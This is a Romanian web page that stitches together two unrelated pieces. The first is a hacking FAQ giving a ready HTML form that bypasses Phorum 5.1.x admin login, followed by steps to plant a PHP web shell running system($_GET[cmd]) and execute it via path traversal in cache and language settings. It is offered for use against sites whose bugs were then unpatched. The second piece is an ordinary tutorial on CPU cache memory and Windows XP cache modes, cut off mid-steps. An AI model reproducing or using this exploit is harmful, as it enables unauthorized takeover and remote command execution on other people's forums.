FAQs - №5

Problema: Am auzit, că se poate cumva de intrat în Admin Control Panel al ultimelor versiuni de Phorum 5.1.x fără ca sa ştii parola administratorului. Ştii ceva amănunte despre aceasta?

Rezolvare: Destul de simplu ! Pentru aceasta ai nevoie de a crea un mic html-file cu următorul conţinut:

Cod:

<_html> <_body> <_form action="http://phorum.site.com/admin.php" method="POST"> <_input type="hidden" name="phorum_admin_session[]" value="1"> <_input type="hidden" name="phorum_session_v5[]" value="=1"> <_input type="submit" calue="Inject ! "> <_/form> <_/body> <_/html> P.S. Liniile _ din cod se elimina

După submit tu te vei afla în Admin Control Panel al Phorum-ului. În unele cazuri merge următorul mod de încărcare a shell-ului pe baza bug-ului prezentat mai sus:

1. Intrăm în pagina de redactare a profilului administratorului. În semnătura lui punem un mic shell ca acesta: <_?php>'; system($_GET [cmd]); print '<_/pre>'; ?>.
2. În rezultat afişării unui cod incorect în profilul administratorului observăm o greşeală << full path disclosure în momentul intrării in pagina principală a forumului >>. Copiem calea către fişierul cache.php ( de exemplu /home/www/phorum/cache.php), care apoi îi vom face shell în md5.
3. În configuraţiile Phorum bifăm secţiunea cache users. Arătăm calea pentru fişierele shell-uite /../../../../../../../../../../../../../../../../tmp şi în default language punem /../../../../../../../../../../../../../../../../../tmp/md5('home/www/phorum/cache.php')/user/c4ca/4238/a0b9/2382/0dcc/509a/6f75/849b/data.
4. Din nou intrăm în Admin Control Panel pentru a activa noul cod în cache şi primim plăcere de la shell. În momentul cînd am scris acest FAQ ambele bug-uri nu erau încă astupate.
   

Memorie Cache

Memorie este una dintre caracteristicile importante ale oricarui aparat digital. In cazul PC-urilor, avem memorie interna (cache, ROM, RAM) si memorie externa (dispozitive de stocare). Daca in cazul memoriei externe lucrurile sunt destul de clare, nu la fel se intimpla in cazul celei interne. Mi-am propus de data aceasta sa scriu despre memoria cache. Poate ati observat ca printre caracteristicile care definesc un sistem apare si acest tip de memorie. Cu cit un microprocesor este dotat cu mai multa memorie cache, cu atit acesta este mai performant si, implicit, mai scump.

O definitie simpla ar suna asa: Zona de memorie rapida ce echipeaza un dispozitiv electronoc in scopul de a mari viteza de lucru a acestuia. Si aceasta deoarece viteza memorie cache este cea a procesorului. Este, asadar, o memorie tampon intre procesorul foarte rapid al calculatoarelor actuale si dispozitivele de stocare lenese care le deservesc. Mai exact: cind calculatorul are nevoie de o informatie, o va cauta intii in memoriea cache si apoi in cea RAM, dupa care apeleaza la hard disk sau alte unitati de stocare externe. Viteza celor 3 tipuri de memorie este descrescatoare, iar pretul de asemenea. Prin urmare, loc de evolutie este, costurile sunt cele care inca pun bariere...

Ultimile date accesate vor stationa in memoria cache pina la inlocuirea lor de alta cerere. Cu cit aceasta este mai mare, cu atit creste si sansa ca informatiile de care PC-ul are nevoie sa se afle in cache, viteza de operare crescind astfel considerabil.

As vrea sa mentionez ca aplicatia FastCopy pacaleste memoria cache. Prin aceasta intelegem de ce ea este un avantaj: neocupind cache-ul cu datele pe care le copiem, permitem unor terte procese sau aplicatii sa beneficieze de acest spatiu.
Insa nu doar microprocesorul este dotat cu astfel de memorie. Din aceleasi considerente, veti intilni memoria cache si in cazul hard diskurilor, imprimantelor sau placilor video.

Câtă memorie cache
Sunteti curiosi sa vedeti cita memorie cache folositi?
Informatia va este oferita de Windows Task Manager.

1. Apasati combinatia de taste [CTRL] + [Alt] + [Del].
2. Va aparea fereastra Windows Task Manager. Aici accesati registrul Performance.

Moduri de lucru

In Windows XP aveti doua moduri implicite de utilizare a memoriei cache:

• Programs - modul recomandat pentru utilizarea comuna a PC-ului, ca statie de lucru.
• System Cache - modul recomandat pentru utilizarea in regim de server a Pc-ului.

Pentru a avea acces la aceste doua moduri:

1. Accesati Start | Run
   
2. In cimpia Open, tastati comanda "sysdm.cpl", dupa care, clic pe OK.
3. In fereastra System Properties activati registrul Advanced.
4. Din sectiunea Preformance, selectati Settings.
5. In fereastra Performance Options, clic pe registrul Advanced.